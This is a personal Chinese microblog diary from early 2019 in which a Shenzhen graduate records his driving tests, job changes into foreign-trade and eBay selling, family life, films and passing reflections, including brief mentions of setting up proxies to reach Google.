啊哥 小弟祝你新年快乐万事如意 工作顺利 阖家幸福 身体健康 财源滚滚来 by ZGR
炒了一大脸盆的小石螺，众人合力只「干」掉一半。
00:202019-02-06
8 岁的外甥跟我睡，尿湿了 2 张被子。
中午喝了几杯酒（45°），几个小时后，头痛。
同乡同校妹子 ZHH 喜欢我拍的真实照片，很想让我给她拍。一介直男，单身久了，都忘了如何跟女孩子相处了。人家随口说说，我想得真多。
00:092019-02-07
爸妈忙得没时间拍全家福。照片变得越来越不真实，越来越廉价。
2019-02-08
城市太大了，找不到方向。by《无名之辈》（A Cool Fish，2018）
2019-02-09
每个人都有自己的不幸，也许是分别，死亡，意外。不论如何，你都会因此告别过去，从而变成另外的样子。我们都有自己的麻烦，自己的问题，自己的，恶魔。by 《毒液：致命守护者》（Venom，2018）
2019-02-10
父亲突然问我，女同学都嫁完了吗？言下之意，就是催我去找女朋友。
2019-02-11
返深。
09:00过年大概拍了接近七百张相片。
通往 Google 的跳板
45.77.160.209已被 GFW 干扰，一路走好。2019-02-12
年轻人初入社会，总会遇到打击，困难，以及理想破灭的情况，经受的住，可能成长就会快一些；经受不住，可能身心疲惫，很容易遇到瓶颈期，而且很难化解。by caoz
科目三第 1 次练车：学会如何换挡。
17:412019-02-13
约莫六点就醒了，与蚊子作斗争。
07:192019-02-14
没有情人的情人节，我一点都悲伤。
2019-02-15
瑞幸咖啡新人首单免费，于是我点了已被抹茶拿铁（¥27）。
15:09刷了几天求职 App，头昏脑涨，不知所踪。
17:09挣钱不难，只要放下那些原则（比如真实、对社会有益的），因为资本是逐利的。
17:20感觉日子变得很漫长，这样下去会不会得抑郁症呢？
17:37死到临头了，还不好好改简历，找工作。
01:152019-02-16
科目三第 2 次练车，教练带我们某个相似的路段练车。练完之后，有信心多了。
14:49参加了大姐的梦想清单（太平人寿的蓄客活动），营销属性过强。虽然有些东西（比如性格色彩、传统中医）不科学，但一样有受众。人间正道是沧桑，深处大染缸，太正直可能挣不了钱。
01:43你知道跌落谷底的好处吗？你会只剩一条路，那就是绝地反击！（When you've reached rock bottom, there's only one way to go, that's up! ）by 《欢乐好声音》
2019-02-17
今天来石岩拿驾考档案，然后和忘年交朋友 DHF 一起吃饺子，喝啤酒，斗地主。悲观地讲，这可能是我们最后一次见面了。
15:25接着 ZGM 请我看《流浪地球》（其实我也没打算抢着买单），愿他别在流浪，找个意中人。
19:00理个头发都要 ￥40 了。
20:572019-02-18
小孩子才去纠结一个东西有没有用，大人关注的是用户觉得它有没有用（纵使这个东西不科学）。
突然的雨溅湿我的衣服，但不会怨天尤人，这难道就是成长。
12:38CT 拉了 5 个人开始创业了（包括我）。
2019-02-19
科目三第 3 次练车，早上吃个青枣就过来了。
08:00科目三在考场模拟 2 条线要 ￥300。
⑤号线模拟考，直线行驶项目完成后，车身压线。
16:43②号线模拟考，100 分。
17:13终于发工资了，《劳动合同》写着好像是 11 号。
17:352019-02-20
到达科目三东周考场。
07:40下了小雨之后，空气清新，天气晴朗。
科目三道路驾驶技能考试，遇到的「拦路虎」如下：
- 被分配到最难的 ② 号线
- 作为排头车，前面没有可供参考的车辆
- 14 号考试车刹车没有声音提示
- 刚起步时腿会止不住地抖，过了两个路口就平复下来了
所幸满分一把过，可能是因为签到号是 15 的原因吧（我的幸运号码）。
09:00科目三安全文明驾驶常识考试（俗称科目四）也是满分一把过。此前模拟了 23 次，累计答题 868 道，总体正确率 99%。
10:00又到了找工作季节，想起了新华字典第 673 页冒号的用法：
张华考上了北京大学；李萍进了中等技术学校；我在百货公司当售货员：我们都有光明的前途。
可是，没有多少人会选择安贫乐道，每个人都迫切想要成功。
12:18喉咙痛。
23:132019-02-21
吃个苹果当早餐。
07:15头晕脑胀，腰酸背痛，可能要生一场大病了。
08:56提交了《辞呈》，开启下一段未知的路程。
09:342019-02-22
昨晚吃完晚餐后，没有洗澡，没有刷牙，直接睡觉了。现在醒来，烧退了，喉咙还痛。
07:04吃个橘子当早餐。
07:15人的精神衰老源自好奇心的消逝。
13:40【深圳交通】您已通过科目三考试，请您通过以下方式对驾校和教练员进行点评：关注支付宝生活号或微信公众号“深圳驾培”，进入“学员服务”页面查看消息进行点评。提示：您的点评将匿名，不会影响后续学车，感谢您的参与。
15:22ZZH，6 年未见，他来海岸城请我吃一顿 ￥117 的大餐。他的着装和我一样，简单朴实，但是变文静了，说话变得从容淡定，这可能是信神（新约耶稣）之后的改变。他分享道：
- 神是无形的，不必造出实体，犹如佛像一样祭拜
- 神是唯一的，Ta 会嫉妒你信仰其他的「神」，所以不能祭拜祖先
- 神说要有光，于是有了光。因为神说的话（新约圣经）创造了这个世界，所以神说的话不容置疑。一切行动按照（新约）圣经的指引
- 人是神荣耀的器皿（容器），有责任向世人传达神的话。相比于其他人，ZHH 觉得更有责任来感化我（其他同学无法理解这份信仰），经常邀我去参加弟兄姊妹的聚会。
- 人之初，性本恶。信神，就是向善的过程
- 不是神找到你，是你找到神。神早已决定哪些人成为信仰者
关于人的意义，他随手比喻道：餐桌上有两杯装着西瓜汁的杯子，杯子 A 问杯子 B，我们为什么要装西瓜汁，难道就不能装牛排吗？……无论两个杯子再怎么反问，也无法回答作为杯子的意义。只有身为杯子造物主的我们，才能回答这个问题：杯子生而装水，这就是杯子存在的意义。那么人的意义是什么，身为造物主的神说：带着圣经，向世界传播爱和真实。听罢，微悚。
诀别的时候，他让我别那么焦虑，早日听从主的心声，获得新生。
约翰福音 4:13 耶稣回答说，凡喝这水（这水象征物质享受和属世娱乐的消遣。这些都不能解除人深处的干渴，人无论喝了多少物质和属世的“水，”还会再渴。这些“水”喝得越多，干渴越加增。）的，还要再渴；
约翰福音 4:14 人若喝我所赐的水，就永远不渴（约翰福音 6:35 耶稣对他们说，我就是生命的粮，到我这里来的，必永远不饿；信入我的，必永远不渴。）；我所赐的水，要在他里面成为泉源，直涌入永远的生命。by ZZH
在我的求学 / 求职道路上，帮助过我、扶植过我、对我产生过重大影响的人很多，我不好从中选出一个来。但我在心里，一直在念叨他们，从某种意义上说，Ta 们的恩情和友谊，是支持我前进的重要力量。改编自莫言的采访稿
2019-02-23
喉咙痛没有好转，空咽都痛。
08:47收到中华人民共和国的《机动车驾驶证》：
- 初次领证日期 2019-02-21
- 实习期至 2020-02-20
- 有效期至 2025-02-21
- 准驾车型 C1
- EMS 邮递费￥25
希望「普通小汽车摇号」不要那么快摇到我，没钱买车、养车、停车。
时间滴答滴答地过去，我一天都瘫在床上，不肯去找工作，最近看得太多那些形形色色 / 千篇一律的职位描述，一打开求职 App 就开始怀疑自己。
20:092019-02-24
在前程无忧浏览完九百多个职位（筛选条件：宝安区 + 本科 + 无经验），索然无味。
16:07喉痛没那么痛了。
23:522019-02-25
一半的外贸岗位都在电子烟行业，其次是 LED 照明 / 显示。
11:08那些只有单休的员工是怎么活下来的。
18:08喉咙好受些了，又开始咳嗽。
19:31走出舒适圈，尝试用左手刷牙（我是右撇子）。
2019-02-26
无法忍受禁网的办公环境，离职手续办理完毕。
14:382019-02-27
面试开门红，获得一个 offer，底薪 3800。
10:22获得第二个 offer，底薪 3000。
11:22获得第三个 offer，但是工作内容打了商业规则的擦边球。
15:00跟一个外贸猎头顾问聊了聊，他推荐我做先做外贸运营岗，再转岗到外贸销售。
15:59第四个 offer 获取失败，要求较高。
17:09一旦获得几个 offer 之后，就不想再面试了。
不接受使用繁体中文的公司，没有为什么，眼睛看着就不舒服。
21:512019-02-28
今天面试了 3 家公司，获得了 2 个 offer。越到后期，越不想面试。我该选择 B2C 还是 B2B 呢？做完这个选择对我的人生影响有多大呢？特别害怕自己毕业 5 年之后，还是一事无成。全家供读出来的「大学生」，却混得最不如意，最难过的应该是老爸老妈吧，毕竟望子成龙，所以目前还不能说服自己甘愿平凡。
芸芸众生，找不到做人的乐趣。
2019-03
2019-03-01
从未见过的多年网友 ZT 一过点就发来祝福（￥66.66）：生日快乐，事事顺利。
00:01小庭儿，生日快乐。by LJL
09:15今天过生日，奢侈点，吃个 ￥13 的猪脚饭。
12:48下午给自己放假，没去面试。
16:40纪录片《徒手攀岩》（Free Solo，2018）真好看。
2019-03-02
第一次吃莲雾，清爽甘甜。
16:44《红海行动》（Operation Red Sea，2019）Just so so。
20:142019-03-03
三姐的美容店开张了，升级当老板了。
11:30跟着大姐和大姐夫来瓜子二手车严选直卖店（平湖）看车。
15:09明天，前往新起点公司上班。
23:002019-03-04
对新的工作充满期待，闹铃未响，身体已醒。
07:27傻瓜式建站，有点失望。下班。
19:152019-03-05
从零开始运营一个外贸独立网站，感觉有很多东西要学，有点兴奋。
00:052019-03-06
外贸自建站（独立站）的 SEO（搜索引擎优化）工作很有挑战性。一个门外汉，能否入行，心里没底。
23:242019-03-07
前几个月都是 07:00 起床，换工作后是 07:30 起床，因为新生物钟还未形成，所以不能一觉到七点半，一般七点左右就醒了，浪费了宝贵的半个钟。
07:552019-03-08
为保证充足的睡眠时间，暂停学习 SEO。
00:062019-03-09
每天都要洗澡，水冲一下算了。4 个月没打篮球，所以 4 个月没用过沐浴露。
明天不上班，今晚不学习。
22:552019-03-10
WYR 很赏识我，引荐我去北京做「职业索赔人」，年薪有十几万。
12:03不是漫威迷，看《蜘蛛侠：平行宇宙》（Spider-Man: Into the Spider-Verse，2018）不够入迷。
18:54《海王》（Aquaman，2018）没有超出预期。
人生苦多乐少，多记些美好的事儿，痛痛快快活一回。by《白蛇：缘起》（White Snake，2019）
活生生把一个双休周末荒废了，没救了。
23:212019-03-11
上班打瞌睡。
09:25听到 CT（深圳品众创新有限责任公司创始人）说：「你也要加把劲啊，庭」，心头一阵，百味交集。
21:332019-03-12
今天阳光明媚。
07:48哥哥在玩「王者荣耀」，只能暂停观看 Google SEO 视频教程。
21:01每次照镜子，都觉得自己好丑。
23:542019-03-13
要不要考公务员呢？这是一个问题。
2019-03-14
07:30 的闹钟，06:37 就醒了，白白浪费这么多宝贵的睡眠时间。
我决定了，不报考公安局。没有自己的意志，一切行动听 D 指挥。因为向往自由是人类的本能。
21:292019-03-15
经济拮据，向三位失信借款人催催债（第四位已潜逃）。一位回复在住院，两位没有回复。预料之中。
19:29与其念着收旧账，不如想着如何挣新钱。在朋友圈看到 James（微信号 ganhuoganhuocom）的一篇文章——《分享一个实战做宝宝起名的互联网干货项目》，顿时觉得思路开阔。
23:10想要在这鳞次栉比的高楼大厦过得体面，没那么容易。
00:052019-03-16
这周是单休，下午陪同老板和老板娘去工厂「考察」。
14:14做外贸需要用英文名，你们可以叫我 Tim（蒂姆，提姆。）。
14:26天天独自做饭的嫂子泪眼欲滴，满腔委曲化作一句话：「我就是看不惯你天天睡觉」，埋怨饭菜难吃的哥哥默不作声。我安慰嫂子，她说：「现在每天着想多点复习做多点题，不想理他，没有想那么多，把自己该做的事尽力做好就可以了。」
今天也看到老板娘和老板起了口角。既然婚后有这么多争吵，我不禁怀疑结婚的意义。所以，这么多年来，我几乎不敢谈恋爱，我怕自己也变成这样的。
www.dytt8.com 推荐的迅雷有毒：
- 捆绑安装 360 全家桶
- 篡改 IE 浏览器的收藏夹
- 在桌面创建购物网站的快捷方式
感谢「火绒安全软件」的及时救场，以后还是去 www.dy2018.com 下载电影吧。
忻（xīn）钰坤导演的《暴裂无声》（Wrath of Silence，2017）真 TM 精彩，每一秒都不想放过。
2019-03-17
外甥 PY 吃了一颗巧克力，牙齿痛，于是屁颠屁颠地跑去刷牙了。
17:43外婆的电话每周都打不通。
20:13合影时，发觉脸胖了；洗澡时，看到腰间赘肉又冒出了。所以晚上要少吃一碗饭。
20:58大学毕业后，就没有和 ZDW 联系了，今晚突然想起他，结果我们聊了 50 分钟，关于神和基督。
22:52不够尽兴，于是我写了一篇关于 ZDW 的人物志。
00:042019-03-18
早上喝了一碗粥，现在开始饿得慌。
09:372019-03-19
- 大姐夫拉我去做外贸
- 四姐夫拉我去内容创业（自媒体）
- 五姐夫现在想拉我去室内设计（石材方向）
其实我自己挺没信心的，他们不会觉得我是可塑之才吧？从象牙塔（大学）踏入商业社会，一路跌跌撞撞。在现实的压力下，想要干干净净地赚钱，没那么容易：
- 文案是虚假夸张的
- 当一个电表测试工程师虽然与世无争，但一成不变的工作，是多么的枯燥乏味
- 展会推广华而不实
- 平面设计，半路出家，还未达到质变的过程，亲人不同意干这行
- 目前转行到网站运营，虽然从零开始，但是兴致勃勃。
奈何目前只能拿底薪过日子，只好痛苦地暂居在哥哥嫂子家。我也想自己出去租房子住，但是到了年底我的存款将交不起保险（接近 3 万），还有压岁钱。
工作到现在，一直很克制，没有大的开销。一部分积蓄上交给父亲，一部分被强制买了保险（为此还用保单借了 ￥2000）。我很认同保险的理念，但是代理人为了业绩，为了不被淘汰，让客户买一些超出经济承受能力的理财产品，或者一些垃圾理财产品，我不认同，也不忍心向同学朋友推荐。每一家公司的产品可能有好有坏，厉害的销售员可以把不好的产品，不适合你的产品卖给你，这就是残酷的商业社会。一开始我理解，现在体会到了。
亲人做保险，而自己从小到大，受之照顾，面子抹不开。但也只能怪自己没有主见，缺少理财规划。
读书的时候无忧无虑，豪言万丈，心想再怎么样也能混口饭吃。出来工作后才发现，养活自己很简单，同时要「养活」亲朋好友对你的期待，是个技术活。
会不会存在一个平行宇宙，那个我没有羁绊的束缚，没有人催我结婚，催我买房买车，催我事业有成。想什么就去做什么，纵使穷开心，也过得逍遥自在。
年轻人要明白：成年人的生活，没有容易二字。
23:532019-03-20
上苍啊，为什么要让我早醒，就不能一觉到七点半吗？
07:55注册 Google 账号时如果遇到「此电话号码无法用于进行验证」，可以试试用手机在 www.youtube.com 上注册。
09:27大姐的邻居 LGY 推荐晚上有空去「监管科技——人工智能与区块链应用之大道丨北大汇丰金融茶座」，免费讲座，推测不靠谱。
12:07晚上和大姐一起吃饭（果园鸡），催我找女朋友。三姐接着催我考公务员，临阵报个备考班。
20:292019-03-21
报考竞争激烈的深圳市公安局宝安分局的基层派出所二级警长（职位代码：20200061945008，职位类别：公安机关执法勤务职位，学历：本科以上，专业：不限，考试费用：135 元），从事公安执法工作，提示「裸视力不符合要求！」
12:102019-03-22
2019 年 3 月 22 日，沉闷的电梯里出现了「鸿茅药酒」的广告。
「故意」没交省考的报名费（￥135），因为：
- 裸眼视力低于 4.8，如果通过笔试，就得去做手术（￥5000 ~ ￥15000），是一次不小的开销
- 复习时间少，厌倦应试教育
- 对 D 有偏见，志不在仕途
- 对新工作比较满意
- 公安系统要倒班
16:05
白发继续野蛮生长，理短一些（￥41）。
19:00生了小孩，就能当父母吗？by《小偷家族》（万引き家族，Shoplifters，2018）
2019-03-23
如何完整地开一个生蚝，是门技术活。
12:00YZM 问我找到工作了吗？冷不丁收到同学的关心，心里暖暖的。她感觉我适合找一个很温柔的女生，女方温柔对我，我又对她超好。
16:40大姐让我向同学朋友推销一款返还型的意外险，对于这样的割韭菜产品，我下不了手。
深圳个人小汽车增量指标审核通过，可以参加摇号了。
21:24跨境达人 James 在 QQ 群从九点直播到现在，感谢他的无私分享。
01:152019-03-24
出发，前往宝安见同学。
09:40CYX 偷偷买了戒指，准备下半年向女朋友求婚。这小子，真幸福。
GJY 没有等到公司的裁员赔偿，面对不合理的调岗，Ta 选择了辞职。
和我一起在深圳奋斗的大学同学，他们纵使失业，也保持着乐观的心态。
在广州工作的 GJL 来深圳玩耍，招待不周，热情不减。
人生的进程滚滚而来，有很多选择，好像又没得选择。我不知道怎么去过好这一生，正如不知道怎么结束这句话。
21:37通过 QQ 群语音，跟着一位前辈学习 eBay。
02:002019-03-25
上班 B2B，下班 B2C，有点学不过来。
01:182019-03-26
很多小公司在试用期不会和雇员签订劳动合同，所以就不会帮员工缴纳社保。但是深户可以通过个人名义缴纳社保，一个月的最低费用是 774.5 = 养老 484.00 （缴费基数 2200 × 22%） + 医疗 273.80 + 生育 16.70。真贵。
07:23一朵花的凋零荒芜不了整个春天，一次挫折也荒废不了整个人生。
12:27第一款商品在 eBay 上架成功。
23:23eBay 账户被暂停使用。
23:562019-03-27
收到 CWF 的延迟债款 ￥150。这小子创业，给他小额贷款了很多次，但现在还没做成。祝 Ta 过河成功。
22:09每晚听 James 群语音，有劲。
00:262019-03-28
昨夜难眠，思考如何建立个人影响力？
07:55办公室来了一个新同事（女，河南），加上老板、老板娘和我，总共 4 人。在小公司上班，自由。
08:30下载小米云客户端，电脑与手机同步写日志，想在哪写就在哪写。
10:17已报名参加「2019 第十九届磨房深圳百公里徒步活动」，希望可以审核通过，成为徒步大军中 2 万分之 1。
10:32您的 Payoneer 派安盈申请已经获得批准！
23:592019-03-29
最近熬夜多，熬得如厕困难。
07:54好不容易来个女孩子当同事，结果人家上了一天班就不来了。
14:57世界上有太多孤独的人害怕先踏出第一步。 by《绿皮书》（Green Book，2018）
01:162019-03-30
那些吃辣的人如厕的时候，屁眼不疼吗？
07:38进出大门，会有保安向你问好；乘坐电梯，会有专人给你按电梯，这栋写字楼的服务真是下了血本。
08:18eBay 冻结了三天，客服才打电话（021-23088011）联系我解封：
您好 %*>￥，谢谢您联络 eBay。我是 Mary，香港 eBay 客户服务代表，很高兴有机会为您服务。感谢您配合完成电话核实。经过仔细审核发现数据与注册信息基本一致，因此您的账户已经申诉成功。我已经帮您解除了账户冻结，十分钟后您可以继续使用了。查看到您是新卖家，为了方便您能更快熟悉和了解 ebay 相关操作及刊登政策，您可以点击如下链接进行了解……
03:00今晚听了 James 的 Dropshipping on 自建站的分享，路子确实够野。自己要加强执行力，早点签订选品，走向经济自由之路。
01:17心中一团火，睡不着。
02:052019-03-31
天未亮，带上纸巾和手机，晨跑去。
05:308.5 公里，用时 2 小时 13 分钟，差劲的男人。
08:30有些保险公司会让代理人去学性格色彩，数字密码，人生五行等等此类不科学的理论，学员们也深信不疑。这作为一种谈资，可以在交谈中很好的切入他们的业务。打个比方，根据你的生日，代理人「算」出你的人生的数字密码是 3。接着说 3 号人的性格多疑，命途坎坷等等这些放之四海而皆准的性格分析，最后推销一些垃圾的理财险。这帮昧着良心的代理人可能知道这些理财产品不值得购买，但在利益的驱使下，他们依然会让客户购买。亦或是这些代理人已经被保险公司洗脑了，他们也相信这些产品对客户是有帮助的。
一家公司可能会同时提供「高价低质」的产品和「物美价廉」的产品，为了追求利润最大化，必然会倾向推广「高价低质」的产品。
想什么就去做，比如整理卧室。
13:26这周的海贼王实在太敷衍了，直接开启回忆录，不过还是很精彩。
16:05平安银行的信用卡挂失费要 ￥60 块。
21:14今晚帮助了两位好友飞跃了长城，所以我的产品还是没有在 eBay 上架。整天就喜欢研究这些七七八八，忘了本职工作是挣钱。
02:052019-04
2019-04-01
搭好了公司的外贸自建站（B2B），但是批发商很少会去谷歌搜索我们的产品（手机防水袋），他们一般都去阿里巴巴国际站搜索，所以网站的事情暂且告一段落，工作重心转向开发客户。
19:05如何分辨高仿鞋？问店家有没有 45 ~ 46 的大码鞋，如果有，大概率是正品。因为莆田系假鞋不仿大码鞋（难卖出去）。
23:27撑不住，睡了。
00:412019-04-02
在很大程度上，提高媒介素养的过程就是一个不停地和人的一些固有的劣根性去斗争的过程。我们为什么愿意接受错误的信息？为什么会被错误的信息欺骗？是因为我们脑子有问题 —— 也不是说脑子有问题，是说我们脑子有从几百万年前遗传下来的固有的认知偏见。比如我们对负面的信息特别敏感。这可能是因为我们在远古时代为了生存下来，一旦有风吹草动就认为有野兽出现就赶紧要逃走。现在虽然早已不是那个时代了，但是我们固执的偏见还是写在脑子里面。再比如我们喜欢接受简单粗暴的逻辑，而不愿意接受复杂模糊的解释，这可能也是因为远古时代的我们需要快速行动，没有时间去考虑事物的复杂性。by 方可成
又帮助到一位即友成功飞跃长城。
01:142019-04-03
这几天没做饭，所以出门的时候没有「厨余垃圾」可以带下楼，感觉手里空荡荡的，不是滋味儿。
今早看到邻居家有一份垃圾，悦从心上起，恶向胆边生：二话不说，我把 Ta 的垃圾「偷」走了。
那一刻，内心无比喜乐。更让我开心的是，开了一位新同事（女，知性漂亮，30 岁左右）。
08:34上班摸鱼，在 eBay 上架了一款 Dry Bag。
09:32又帮助了一位网友翻跃了长城。
10:252019-04-04
不去选品，时间都花在写教程和教别人翻跃长城上了。喜欢一个事情，就会不分主次地去做，老毛病。这样下去，是挣不了钱的。
熬了两周，开始腰疼。
01:58昨晚有只蚊子，他奶奶的。
07:36一到放假就不想工作。理想的工作：没有 Deadline，纯凭内在驱动力做事。
15:28eBay 新手 5 个刊登（库存）数量已用完，等待视频认证。
12:002019-04-05
出发，回家。
05:15开始塞车。
07:28又塞车了。
08:42到老家了。
11:25家里的枇杷真好吃。
13:20把爷爷的墓扫了。
2019-04-06
看望外婆（外婆上了年纪，事情记不清楚了）。
09:15和父亲下鱼塘打鱼，和母亲去山里割韭菜，给叔婆调试新手机，和大外甥 CFD 玩吃鸡。
2019-04-07
又要返深了。
09:40堵车。
11:10到深圳了。
16:20赤膊的季节到了。
21:152019-04-08
好困。
09:49外甥 CFD 不爱刷牙，所以我要求他刷牙之前用手机倒计时 2 分钟。
22:11熬夜伤身。
01:302019-04-09
第一次在 alibaba.com（阿里巴巴国际站）上回复询盘，除了各种乱子。
10:40在都市吃到从故乡带下来的家常菜（水煮走地鸡），都会特别感恩父母。
20:082019-04-10
这几天吃的也不少，但是容易饿。
18:502019-04-11
执行力太差，注意力容易被分散。Focus，Relax。
23:462019-04-12
嫂子下班回来，我给她拿碗筷盛饭，哥哥说：「她还要你伺候？！」我默不作声。
前几天，嫂子受委屈了，没有坐在餐桌上一起吃饭，我对嫂子说：「XJ，吃菜呀。」哥哥吼道：「不用你管」。
谈恋爱的时候，哥哥吃完饭，会用抹布把厨房地板擦干净。现如今，懒惰无比。做保险不用呆在办公室，也不出去开拓客户，整日在家刷抖音，打游戏，偶尔煮煮饭。
一个贤惠的女人嫁给一个大男子之后，要为他洗衣服、做饭、做家务……从头伺候到脚。就连洗澡时，都要提前把他的衣服放在浴室里。
男人就不能体谅女人的付出吗？比如给她盛个饭。
21:03肚子疼。便秘，
02:062019-04-13
天空下着小雨，这个城市还没有苏醒。
Skype 的中文翻译是时光谱，Airbnb 的是爱彼迎，都充满中文的美感。
10:49港澳通行证办理完毕：香港一年多次（限每周一次），澳门一年一次，总费用 ￥175（5 天后到手，快递费 ￥18）。
14:402019-04-14
和大学同学打完篮球，腰疼。
开始体验两周没有 Wi-Fi 的日子（听说宽带被挖断了）。
19:152019-04-15
收到第一个询盘回复，来自加拿大。
22:222019-04-16
申请了招行的单币信用卡（Mastercard）。
16:46CWF 得了糖尿病，住院中。ZXB 又找我借钱。皆爱莫能助。
20:522019-04-17
忙碌的一天又过去了。
00:592019-04-18
近几天上班都在摸鱼，罪过罪过。
20:48早点休息。
22:202019-04-19
a fish story 的英文翻译不是「一条鱼的故事」，而是「骗人的话」。
给《飞驰人生》（Pegasus，2019）打 4 颗星。
01:362019-04-20
《一出好戏》（The Island，2018）三星。
招商银行信用卡核身完毕，等待寄卡。
16:03当电影《波西米亚狂想曲》（Bohemian Rhapsody，2018）响起「we are the champions, my friends…」，瞬间颅内高潮，头皮发麻。
不争气，一个大男人被《7 号房的礼物》（韩语：7번방의 선물；英语：Miracle in Cell No. 7；2013）弄哭了。
22:012019-04-21
- 生而为人，我很抱歉。
- 从没见过像松子这样一点不安、迷惘都没有的，只是盲目的活着。
by《被嫌弃的松子的一生》（嫌われ松子の一生，2006）
西班牙悬疑电影《看不见的客人》（Contratiempo，2017）：过瘾却不烧脑。
18:30《蓝风筝》（The Blue Kite，1993）：在一次会议上，少龙出去上厕所，回来时发现，自己成了右派。
2019-04-22
周末睡了两天，腰都睡酥了。
08:032019-04-23
招商银行全币种国际信用卡（Matercard）只给了一万五的信用额度，太欺负人了。
19:452019-04-24
今天开始找房子，自己的生活自己过。
19:04宗教的意义之一是给人们提供行为标尺和决策依据，比如堕胎、浪费食物和婚前性行为等等。有了宗教就有了一个坚定的行为准则 （依托、借口），遇到犹豫的事也不要想这想那了，主说该怎么做就怎么做。by 小晚
2019-04-25
唯一女同事又辞职了，公司又只剩我一个员工了。
无心工作，一个上午都在划水摸鱼，迭代自己的科学上网技术。
12:09使用招商银行全币种信用卡（Mastercard）成功申请到 GCP（Google Cloud Platform），获享 12 个月试用期和 $300 赠金。
12:16服役了约 5 年惠普笔记本电脑，断网断电 9 天后，电源指示灯闪烁，无法开机。
23:192019-04-26
Google Chrome Android（谷歌浏览器安卓版）显示，我存了将近 900 个书签。
22:33Marking-is-Reading-ism（收藏等于已读主义）：当代互联网松鼠症的一种，坚信一切互联网上的内容“马过即看过”，收集的时候非常快乐，但是只要提到“整理收藏夹”就拖延症发作。by 好奇心日报
2019-04-27
感谢 GCP（Google Cloud Platform）赠予 $300 和 12 个月免费试用期。用来搭梯，看 YouTube 上 8K 无压力。
在以往，人们会把「人生要做什么」交给国家、信仰、真理。为中华崛起而读书、听从上帝的指示、保家卫国努力奋斗真善美。如今这些人生指南已经没法成为强有力的生活准则，当代流行的是「做你自己」，但问题是「我也不知道我要做什么啊」。而这种不知道，又会被网络上各种各样的人生模板加强。当你有想成为的人时，总会有更光鲜亮丽的人来让你分心。于是，人们更多地把目光放在「我会成为什么样的人」身上，而不是「现在是什么样的人」。by 好奇心日报。
午间小憩，公司刚好有个瑜伽垫可以躺躺，虽然湿热难耐，但睡意盎然。赤膊发现，后背长了很多疹子。
23:352019-04-28
理发 ￥30，这个自称手握潮汕手艺的理发师很细心。
17:46父亲 61 岁生日快乐，送上 ￥999 利是，愿老爸健康长久。
2019-04-29
上司在 alibaba.com 上分配了很多询盘给我，但是我都没有拿下订单。她认为我回复客户的时候缺少礼貌性用语，不够客套和绅士。在我的理解中，对外交流应该是简洁明了的，少说空话，直击主题。
现在回头一想，如何在网络上快速取得陌生人的信任，需要非常多的沟通技巧，不断揣摩客户的心理，想之所想，答之所问。
19:342019-04-30
因为父亲的到来，小小的房子，聚满了人气一共有6 个大人和 4 个小孩，但是只有 3 张床，所以沙发和地板也成了我们的栖息地。
感谢父母亲从故土带了这么多家常菜下来，感谢父母亲赐予爱给这个家庭，让我们七姐弟得以凝聚在一起。
00:242019-05
2019-05-01
16 人，浩浩荡荡地前往中山，庆贺四姐乔迁之喜。
08:002019-05-02
把拆掉笔记本电脑的电池卸掉之后，「晾」了几天，又可以开机了，真开心。
10:48博客的图片放在新浪的免费图床里，现在不能访问了，真伤心。
18:34吃小龙虾，不吸头部（腮），会不会被打，（￥70 / 500g）。一是觉得脏，二是觉得咸。高盐生活，百害无益。
02:102019-05-03
为了升级 Hexo 博客，开始学习 Git 分布式版本管理方法。
23:432019-05-04
在 eBay 澳洲站挂了一个小玩意，没有卖出去，也要收取刊登费（$1.07 ＝ ￥7.47），失策。
10:15Hexo on Netlify。
23:492019-05-05
笔记本电脑又无法开机了。
23:462019-05-06
今天第一次给外国客户（加拿大人）打电话（by WhatsApp），只能吃力地吐出每一个单词，但非常有趣。
吃自己煮的小龙虾，放心吃，放肆吃。
22:54我的 eBay 终于通过跨国认证了，可以卖 76 件商品（HKD 29,000.00）。认证流程如下：
- 注册时填写身份证地址
- 修改注册地址为现居地址
- 申请信用卡纸质账单快递至现居地（我的是开卡账单）
- 上传图片时在现居地址旁边标注：邮寄地址与身份证地址不一致的原因（比如并非在身份证地址区域工作），并表示感谢
- 以上方法，仅供参考，不具有普适性
2019-05-07
《中文排版指南》已发布初稿至博客。
00:302019-05-08
又晚睡了。
01:312019-05-09
英文名
Tim Zhong>Jadon Zhong，因为走走停停（Tim）太慢了，改成捷足先登（Jadon，杰登）好了。上班不去拼业绩，搞东搞西，我这个废人。
19:06eBay 上架失败，新手不能卖耳机。
01:282019-05-10
明天去福田参加张皓昱（David）的 SEO 交流会。
01:422019-05-11
每周除了等《海贼王》的更新，还有《好奇心辞典》。
12:03线下交流会没有超过我的期待，但是认识了一些人，拓宽自己的视野。才给 David 赞赏了 10 元（组织者直接收门票即可，免去参会者如此尴尬地扫收款码），惭愧惭愧，日后发达了再报答此次组织之恩。
2019-05-12
母亲节快乐，愿妈妈健康快乐。
11:452017 年 10 月 10 日在京东花了 ￥344 买了一个飞利浦电动牙刷（HX6730），白天突然自己动起来，晚上刷牙发现没电了。把它放在无线充电底座上，充电指示灯没有任何反应。
23:48备份照片，阅读《作文七巧》并对其排版。主任务没完成，再次被支线任务打乱计划。
02:012019-05-13
新来两位女同事，一位上了半天班就走了，一位明天不知来不来（一周后走了）。
01:312019-05-14
同一个账号（不管是 Just My Socks 的梯子，或是在 GCP 搭的梯子 ），在公司的电信网络下可以畅快访问 Google，小区的长城宽带就是死活不通。道高一尺，魔高一丈，不得不继续修炼 FQ 之术。
22:432019-05-15
再次捡起庭说的公众号，闭门不适合造车。
01:112019-05-16
成功加入少数派 Matrix 创作社区。
12:00一口气在 eBay 随机上架了 11 个 SKU。
05:572019-05-17
如果亲人是保险代理人，你很可能会被亲情绑架而被迫买一些不厚道的产品。
2019-05-18
父亲的螺旋 CT 检测结果出来了：右侧肺内结节和慢性支气管炎、肺气肿。
12:00不想待在家里，出去看看有没有篮球可以打。
19:25命中率不错，虽然只上了一次场，但是进了两个球。
21:152019-05-19
上午研究医疗险，下午研究科学上网，一天就这样过去了。
01:292019-05-20
为母亲买了一份医疗险：好医保 · 长期医疗（￥1399）。
20:58在微信可以直接打开未备案的「.me」域名了，比如 tingtalk.me。空欢喜一场，只是暂时可以打开而已。
21:13小菲和我相识于 2017 年 10 月 10 日，连日子都是这么般配。她喜欢穿白色的连衣裙，特点是说话频率快，缺点是记性不好。因此，我们之间为健忘这件事没少唇枪舌战。前几天，小菲突然全身抽搐，当我发现的时候，她已经精疲力尽了。我立刻送她去医院，没过多久，我接到了医生的电话：「我们已经尽力了。」那一刻，我真的好开心：因为我可以免费换一个新的电动牙刷啦。
注：
- 频率：31000 次/分钟
